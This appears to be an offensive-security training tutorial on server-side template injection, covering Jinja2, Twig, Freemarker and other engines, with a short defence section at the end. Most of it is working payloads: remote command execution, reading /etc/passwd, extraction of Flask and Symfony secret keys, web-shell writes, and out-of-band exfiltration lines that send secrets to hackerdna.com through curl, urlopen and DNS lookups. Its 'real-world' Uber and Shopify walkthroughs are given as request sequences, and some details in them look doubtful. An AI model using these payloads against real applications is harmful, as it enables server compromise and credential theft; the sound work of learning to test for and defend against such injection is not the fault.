Server-Side Template Injection
Transform Template Engines Into Remote Code Execution Vectors
What You'll Discover
🎯 Why This Matters
Server-Side Template Injection represents one of the most devastating yet often overlooked vulnerabilities in modern web applications. Template engines are ubiquitous in web development, powering everything from simple content rendering to complex business logic in frameworks like Django, Flask, Symfony, and Spring Boot. When user input reaches template processing without proper sanitization, attackers can execute arbitrary code on the server with the same privileges as the web application.
🔍 What You'll Learn
You'll master the systematic approach to identifying and exploiting SSTI vulnerabilities across different template engines including Jinja2, Twig, Freemarker, Handlebars, and Smarty. This includes understanding template syntax exploitation, polyglot payloads that work across multiple engines, blind SSTI detection techniques, and advanced methods for bypassing input validation and sandboxing mechanisms.
🚀 Your First Win
In the next 20 minutes, you'll successfully exploit an SSTI vulnerability to achieve remote code execution on a web application, demonstrating how seemingly innocent template rendering can be transformed into a complete server compromise vector.
🔧 Try This Right Now
Test basic SSTI detection across multiple template engines
# Basic SSTI detection payloads
# These work across multiple template engines
# Mathematical expression evaluation
${{7*7}} # Jinja2, Twig
${7*7} # Freemarker, Velocity
{{7*7}} # Handlebars, Mustache
{7*7} # Smarty
# Polyglot payload for broad detection
${{7*'7'}} ${7*'7'} {{7*'7'}} {7*'7'}
# Template engine fingerprinting
{{7*'7'}} # Jinja2 → "7777777"
${7*'7'} # Freemarker → "7777777"
{{7*'7'}} # Handlebars → "7*7" (no evaluation)
{7*'7'} # Smarty → "7777777"
# Advanced detection with built-in functions
{{config}} # Jinja2 config object
${.now} # Freemarker current time
{{this}} # Handlebars context
{$smarty.version} # Smarty version info
# File system access test
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Jinja2
${"freemarker.template.utility.Execute"?new()('cat /etc/passwd')} # Freemarker
You'll see: How different template engines process and evaluate expressions, enabling you to identify SSTI vulnerabilities and determine the specific template engine in use for targeted exploitation.
Skills You'll Master
✅ Core Understanding
- Template engine fundamentals and syntax exploitation
- SSTI detection and template engine fingerprinting
- Polyglot payload crafting for multiple engines
- Object introspection and method discovery techniques
🔍 Expert Skills
- Sandbox escape and security bypass methods
- Blind SSTI exploitation and out-of-band techniques
- Template engine-specific RCE chain construction
- Framework-specific vulnerability assessment
Understanding Server-Side Template Injection
SSTI occurs when user input is embedded directly into template code instead of being passed as data
Server-Side Template Injection vulnerabilities arise from a fundamental misunderstanding of how template engines work. Template engines are designed to separate presentation logic from data, but when user input becomes part of the template itself rather than being treated as data, attackers can inject malicious template code that gets executed on the server.
How Template Engines Create Vulnerable Attack Surfaces
Template engines provide powerful features for web developers including variable interpolation, conditional logic, loops, filters, and access to built-in functions and objects. These features are designed to make dynamic content generation easier, but they also create significant security risks when user input is processed as template code.
The critical distinction is between treating user input as data versus template code. Safe implementations pass user input as template variables: render_template('welcome.html', username=user_input)
. Vulnerable implementations concatenate user input directly into template strings: template = "Hello " + user_input + "!"; render_template_string(template)
.
What makes SSTI particularly dangerous is that template engines often have access to powerful functionality including file system operations, network capabilities, and the ability to instantiate arbitrary objects. Modern template engines may implement sandboxing, but these protections are frequently bypassable through creative use of reflection, inheritance, and built-in functions.
The complexity of template engine features creates a vast attack surface. Each engine has its own syntax, built-in objects, and security mechanisms, requiring attackers to understand engine-specific exploitation techniques. However, the fundamental principle remains the same: leveraging template functionality to achieve code execution beyond the intended scope.
Why SSTI Is Critical in Modern Web Development
Template engines are fundamental components of modern web frameworks including Django (Django Template Language), Flask (Jinja2), Symfony (Twig), Spring Boot (Thymeleaf/Freemarker), Express.js (Handlebars), and many others. Flask Documentation, Symfony Documentation, Spring Boot Documentation As web applications become more dynamic and user-driven, the temptation to allow user customization of templates or dynamic template generation increases.
Common vulnerable patterns include email template customization, report generation with user-defined formatting, content management systems with custom themes, and applications that allow users to create custom pages or widgets. Each of these represents a potential SSTI attack vector where user input may reach template processing.
The shift toward headless CMS architectures, static site generators, and template-driven APIs has expanded the attack surface for SSTI vulnerabilities. Many developers are unaware of the security implications of dynamic template generation, leading to widespread vulnerable implementations in both legacy and modern applications.
Common Vulnerable Contexts
Where SSTI typically occurs
Email template customization
Report generation with user formatting
CMS themes and custom pages
Dynamic content rendering
User profile customization
Marketing campaign builders
Template Engine Types
Popular engines and their syntax
Jinja2 (Python): {{expression}}
Twig (PHP): {{expression}}
Freemarker (Java): ${expression}
Handlebars (Node.js): {{expression}}
Smarty (PHP): {expression}
Thymeleaf (Java): ${expression}
Exploitation Capabilities
What attackers can achieve
Remote code execution
File system access
Environment variable disclosure
Application source code access
Database credential extraction
Internal network reconnaissance
Tools and Techniques
Successful SSTI exploitation requires understanding template engine syntax, object introspection capabilities, and systematic approaches for bypassing security restrictions. You'll learn the methodical techniques that security experts use to identify, fingerprint, and exploit template injection vulnerabilities across different engines and frameworks.
The SSTI Exploitation Methodology
Security experts follow a systematic approach to SSTI testing that progresses from detection through engine identification to exploitation. This methodology ensures comprehensive coverage and maximizes the chance of successful exploitation even when faced with input filtering or sandboxing mechanisms.
Step 1: Template Injection Detection - Test input fields with mathematical expressions and template-specific syntax to identify potential injection points and confirm template processing.
Step 2: Template Engine Fingerprinting - Use engine-specific syntax and error patterns to identify the exact template engine and version in use.
Step 3: Context Analysis - Determine the template context, available objects, and any filtering or sandboxing mechanisms in place.
Step 4: Exploitation Development - Craft engine-specific payloads to achieve code execution, file access, or other objectives while bypassing security restrictions.
Step 5: Impact Assessment - Demonstrate the full scope of server compromise possible through the template injection vulnerability.
Jinja2 Template Injection
Jinja2 is a popular template engine in Python web applications, primarily used by Flask and other Python frameworks. Understanding Jinja2 exploitation provides the foundation for SSTI attacks against Python-based applications and demonstrates the core principles applicable to other template engines.
Basic Jinja2 Exploitation
Jinja2 provides powerful introspection capabilities through Python's object model. By leveraging the Method Resolution Order (MRO) and subclass enumeration, attackers can access dangerous functions and achieve code execution even when direct access to built-in functions is restricted.
# Basic detection and fingerprinting
{{7*7}} # Returns: 49
{{7*'7'}} # Returns: 7777777
{{config}} # Flask config object
{{self}} # Template context
# Object introspection for code execution
{{''.__class__}} #
{{''.__class__.__mro__}} # Method Resolution Order
{{''.__class__.__mro__[1]}} #
{{''.__class__.__mro__[1].__subclasses__()}} # All object subclasses
# Finding useful subclasses
{% for i in range(500) %}
{% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
Index: {{i}}
{% endif %}
{% endfor %}
# Code execution via config object (Flask)
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{config.__class__.__init__.__globals__['os'].system('id')}}
# Alternative: Access via url_for globals
{{url_for.__globals__['os'].popen('cat /etc/passwd').read()}}
{{get_flashed_messages.__globals__['os'].system('whoami')}}
# File system access via built-ins
{{config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{lipsum.__globals__['os'].popen('cat app.py').read()}}
# Environment variable access
{{config.__class__.__init__.__globals__['os'].environ}}
# Flask application introspection
{{config.SECRET_KEY}} # Flask secret key
{{url_for.__globals__}} # Flask globals
{{get_flashed_messages.__globals__}} # More Flask internals
Jinja2 exploitation relies heavily on Python's introspective capabilities. The exact subclass indices may vary between Python versions, so enumeration is often necessary to find the correct classes.
Twig Template Injection
Twig is the primary template engine for PHP's Symfony framework and is widely used across PHP applications. Twig exploitation leverages PHP's reflection capabilities and object-oriented features to achieve code execution and file system access.
Twig Exploitation Techniques
# Basic detection and fingerprinting
{{7*7}} # Returns: 49
{{7*'7'}} # Returns: 7777777
{{dump(app)}} # Symfony application object
# Object introspection and method discovery
{{_self}} # Template object
{{_self.getTemplateName()}} # Current template name
{{_context}} # Template context variables
# File system access via filter abuse
{{'/etc/passwd'|file_excerpt(1,30)}} # Read file lines 1-30
{{''|file_put_contents('shell.php')}} # Write web shell
# Code execution via filter chaining
{{'id'|filter('system')}} # Execute system command
{{'cat /etc/passwd'|filter('shell_exec')}} # Shell command execution
# Environment and configuration access
{{app.getKernel().getContainer().getParameter('kernel.secret')}} # Symfony secret
{{app.getKernel().getContainer().getParameter('database_url')}} # Database config
# Class instantiation for code execution
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\CodeExtension').abortUnless(false, 'system("whoami")')}}
# Alternative execution methods
{{_self.env.getFilter('map').getCallable()('system', ['id'])}}
{{['id']|map('system')|join}}
# File inclusion and template manipulation
{{include('/etc/passwd')}} # Include arbitrary files
{{source('/proc/self/environ')}} # Read environment variables
# Bypass security restrictions
{{(app.request.server.get('DOCUMENT_ROOT')~'/shell.php')|file_put_contents('')}}
Twig exploitation often relies on built-in filters and functions. The available methods depend on the Twig version and configured extensions, so reconnaissance is important for successful exploitation.
Freemarker Template Injection
Apache Freemarker is commonly used in Java applications, particularly with Spring Boot. Freemarker exploitation leverages Java's reflection capabilities and built-in objects to achieve code execution and access sensitive application data.
Freemarker Exploitation Methods
# Basic detection and fingerprinting
${7*7} # Returns: 49
${7*"7"} # Returns: 7777777
${.now} # Current timestamp
${.version} # Freemarker version
# Object instantiation for code execution
${"freemarker.template.utility.Execute"?new()}
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
# Alternative execution via ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()."java.lang.ProcessBuilder"(["id"]).start()}
# File system access
${"java.io.FileReader"?new("/etc/passwd")}
${"java.nio.file.Files"?new().readAllLines("java.nio.file.Paths"?new().get("/etc/passwd"))}
# Spring Boot specific exploitation
${"org.springframework.util.StreamUtils"?new().copyToString("java.io.FileInputStream"?new("/etc/passwd"),"java.nio.charset.Charset"?new().forName("UTF-8"))}
# Environment and system property access
${"java.lang.System"?new().getProperty("user.home")}
${"java.lang.System"?new().getenv()}
# ClassLoader and reflection abuse
${"java.lang.Class"?new().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")}
# Built-in dangerous functions
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/version")}
# Spring application context access
${"@org.springframework.web.context.support.WebApplicationContextUtils@getRequiredWebApplicationContext(servletContext)"}
# Bypass sandboxing with reflection
${"java.lang.Class"?new().forName("freemarker.core.Environment").getDeclaredField("configuration").get(.current_template_name).getSharedVariable("execute")("whoami")}
Freemarker exploitation is powerful due to Java's reflection capabilities. However, newer versions implement stronger sandboxing that may require more sophisticated bypass techniques.
Blind SSTI Detection and Exploitation
When template output isn't directly visible, blind SSTI techniques enable confirmation of vulnerabilities and data exfiltration through side-channel methods. These techniques are essential for testing production applications where template rendering results may not be immediately apparent.
Time-Based Blind SSTI
# Time delay payloads for different engines
# Jinja2 time delays
{% for i in range(10000000) %}{% endfor %}
{{config.__class__.__init__.__globals__['time'].sleep(5)}}
# Twig time delays
{% for i in 0..10000000 %}{% endfor %}
{{'sleep 5'|filter('system')}}
# Freemarker time delays
<#list 1..10000000 as i>#list>
${"java.lang.Thread"?new().sleep(5000)}
# Handlebars time delays (Node.js)
{{#each (range 1 10000000)}}{{/each}}
# Conditional time delays for data extraction
# Jinja2 conditional delay
{% if config.SECRET_KEY[0] == 'a' %}
{% for i in range(10000000) %}{% endfor %}
{% endif %}
# Extract data character by character
{% if config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()[0] == 'r' %}
{{config.__class__.__init__.__globals__['time'].sleep(3)}}
{% endif %}
Out-of-Band Blind SSTI
# HTTP-based data exfiltration
# Jinja2 HTTP exfiltration via config
{{config.__class__.__init__.__globals__['urllib'].request.urlopen('http://hackerdna.com/collect?data='+''.join([hex(ord(c))[2:] for c in config.SECRET_KEY]))}}
# Curl-based exfiltration
{{config.__class__.__init__.__globals__['os'].popen('curl http://hackerdna.com/ssti?data=$(whoami | base64)').read()}}
# DNS-based exfiltration
{{config.__class__.__init__.__globals__['os'].popen('nslookup ' + config.SECRET_KEY + '.hackerdna.com').read()}}
# Twig HTTP exfiltration
{{'curl -X POST -d "' ~ app.getKernel().getContainer().getParameter('kernel.secret') ~ '" http://hackerdna.com/collect'|filter('system')}}
# Freemarker HTTP exfiltration
${"java.net.URL"?new("http://hackerdna.com/collect?data=" + "java.lang.System"?new().getProperty("user.name")).openConnection().getInputStream()}
# File-based confirmation
# Jinja2 file write
{{config.__class__.__init__.__globals__['__builtins__']['open']('/tmp/hackerdna-ssti-' + config.SECRET_KEY[:10], 'w').write('SSTI Confirmed')}}
# Error-based information disclosure
{{this_variable_does_not_exist}} # Trigger error with context info
{{config.undefinedmethod()}} # Method error with config context
Out-of-band techniques are crucial for demonstrating SSTI impact when direct output observation isn't possible. These methods provide definitive proof of template code execution.
Real-World Attack Scenarios
These documented SSTI vulnerabilities demonstrate how template injection flaws have been exploited in real applications, showing the systematic approach that leads to significant security compromises and the widespread nature of template injection vulnerabilities across different platforms.
Uber RCE via Jinja2 SSTI (2016)
Security researcher Orange Tsai discovered a critical SSTI vulnerability in Uber's internal tools that allowed remote code execution through Jinja2 template injection. The vulnerability was found in a Flask application that processed user input directly into template rendering, enabling complete server compromise through mathematical expression evaluation and Python object introspection. Source: Orange Tsai Blog
# Uber Internal Tools SSTI exploitation
# Jinja2 template injection in name field processing
# Step 1: Initial SSTI detection
# Testing mathematical expressions in user input
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{7*7}}
# Response displays: "Hello 49" confirming template processing
# Step 2: Template engine fingerprinting
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{7*'7'}}
# Response shows: "Hello 7777777" confirming Jinja2
# Step 3: Python object introspection
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{''.__class__.__mro__[1].__subclasses__()}}
# Enumerate available Python subclasses
# Step 4: Remote code execution
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{''.__class__.__mro__[1].__subclasses__()[242]('id', shell=True, stdout=-1).communicate()[0]}}
# Execute system commands via subprocess.Popen
# Step 5: Application configuration access
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{config.SECRET_KEY}}
# Access Flask application secrets and configuration
Impact: This vulnerability allowed complete server compromise through user profile customization. The research demonstrated how SSTI can provide immediate access to application configuration and system files, highlighting the critical importance of proper input validation in template processing and user-customizable content features.
Shopify Partner Dashboard Handlebars SSTI (2019)
Shopify's Partner Dashboard experienced an SSTI vulnerability within its email template customization feature using the Handlebars template engine. Security researchers identified that user-controlled input in email templates was processed without proper sanitization, allowing template injection that could lead to sensitive merchant data access. The vulnerability was responsibly disclosed and quickly patched by Shopify's security team. Source: HackerOne Report
# Shopify Partner Dashboard SSTI exploitation
# Handlebars template injection in email customization
# Step 1: Access email template editor
# Navigate to Partner Dashboard email templates
GET /partners/email_templates/new HTTP/1.1
Host: partners.shopify.com
Cookie: [authenticated_session]
# Step 2: Template injection detection
# Testing Handlebars expression evaluation
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "Hello {{7*7}}"}
# Response: Email preview shows "Hello 49"
# Step 3: Context exploration
# Discovering available template variables
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{this}}"}
# Response reveals template context and available objects
# Step 4: Sensitive data access
# Accessing merchant information through template context
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{merchant.api_key}}"}
# Potential access to merchant API credentials
# Step 5: Helper function abuse
# Exploiting Handlebars helpers for code execution
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{#with this}}{{lookup ../this 'constructor'}}{{/with}}"}
# Attempting prototype pollution or object manipulation
Impact: This vulnerability highlighted the risks of template injection in merchant platforms, where access to sensitive business data could compromise multiple parties. Shopify implemented strict input sanitization and template sandboxing to prevent similar issues.
Common SSTI Attack Patterns
Security research and disclosed vulnerabilities reveal consistent patterns in how SSTI vulnerabilities appear across different applications and platforms. Understanding these patterns helps security teams identify potential injection points and implement appropriate protections during development and testing phases.
# Common vulnerable implementation patterns
# Based on analysis of disclosed SSTI vulnerabilities
# Pattern 1: Email template customization
# E-commerce and marketing platforms commonly vulnerable
# User input concatenated directly into email templates
def send_custom_email(user_input, customer_data):
# VULNERABLE: Direct template concatenation
template = f"Hello {user_input}, welcome to our store!"
return render_template_string(template, customer=customer_data)
# Pattern 2: Report generation with user formatting
# Business intelligence and analytics tools
# User-defined templates for data presentation
def generate_report(template_content, report_data):
# VULNERABLE: User template content processed directly
template = Template(template_content)
return template.render(data=report_data)
# Pattern 3: Content management and user profiles
# Social platforms and CMS allowing custom content
# Profile bios, signatures, and custom pages
def update_user_bio(bio_content, user_id):
# VULNERABLE: Bio content processed as template
template = f"{{{{ {bio_content} }}}}"
return render_template_string(template, user=get_user(user_id))
# Pattern 4: Dynamic theme and template builders
# Website builders and theme customization tools
# User-created templates and themes
def save_custom_theme(theme_template, theme_vars):
# VULNERABLE: Theme template processed without validation
return render_template_string(theme_template, **theme_vars)
# Pattern 5: Configuration and settings pages
# Admin panels with customizable messages
# System notifications and alert templates
def save_notification_template(template, notification_data):
# VULNERABLE: Admin-provided template processed directly
return render_template_string(template, **notification_data)
Common Themes: Most real-world SSTI vulnerabilities occur in features that allow user customization of content templates, including email systems, report generators, content management interfaces, and theme builders. These patterns emphasize the need for careful input validation and safe template rendering practices in user-facing customization features.
Defensive Countermeasures
Protecting applications from Server-Side Template Injection requires implementing secure template practices, proper input validation, and robust sandboxing mechanisms. These proven strategies provide comprehensive protection against template injection attacks while maintaining the flexibility and functionality that makes template engines valuable for web development.
Primary Defense: Separate Template Code from User Data
The most effective protection against SSTI is ensuring that user input is never treated as template code. This fundamental principle requires a clear architectural separation between template logic and user-provided data, preventing user input from being interpreted as executable template syntax.
- Use parameterized templates - Always pass user input as template variables rather than concatenating into template strings
- Avoid dynamic template generation - Never construct template code using user input or allow users to modify template syntax
- Template precompilation - Use static template files that are compiled at build time rather than runtime template string processing
- Input validation and sanitization - Implement strict validation for any user input that might reach template processing
- Template engine sandboxing - Enable and properly configure security restrictions provided by template engines
Secure Template Implementation Practices
When template functionality must include user-customizable elements, implement multiple layers of security controls that limit template capabilities and restrict access to dangerous functions and objects.
- Restricted template context - Provide only necessary variables and functions to template execution context
- Function whitelisting - Allow only safe, predefined functions and filters in template processing
- Object access restrictions - Prevent access to reflection capabilities, file system functions, and system objects
- Template syntax validation - Validate user-provided template elements against strict syntax rules
- Execution environment isolation - Run template processing in restricted environments with limited system access
Advanced Protection Strategies
Comprehensive SSTI protection requires multiple defensive layers that address both direct template injection attacks and sophisticated bypass attempts targeting template engine security mechanisms.
- Content Security Policy implementation - Use CSP headers to limit the impact of successful template injection
- Application-level monitoring - Implement detection for suspicious template processing patterns and error conditions
- Regular security updates - Keep template engines updated to address known vulnerabilities and security improvements
- Code review and testing - Systematically review template usage patterns and test for injection vulnerabilities
- Principle of least privilege - Run applications with minimal permissions necessary for legitimate template functionality
- Network egress controls - Restrict outbound network access to prevent data exfiltration through template injection
🎯 You've Got Template Injection Mastered!
You now understand how to exploit template engines across multiple platforms to achieve remote code execution and access sensitive application data. You can identify SSTI vulnerabilities through systematic testing, fingerprint different template engines, and craft targeted payloads that bypass security restrictions to demonstrate complete application compromise.
Ready to Dominate Modern Web Application Security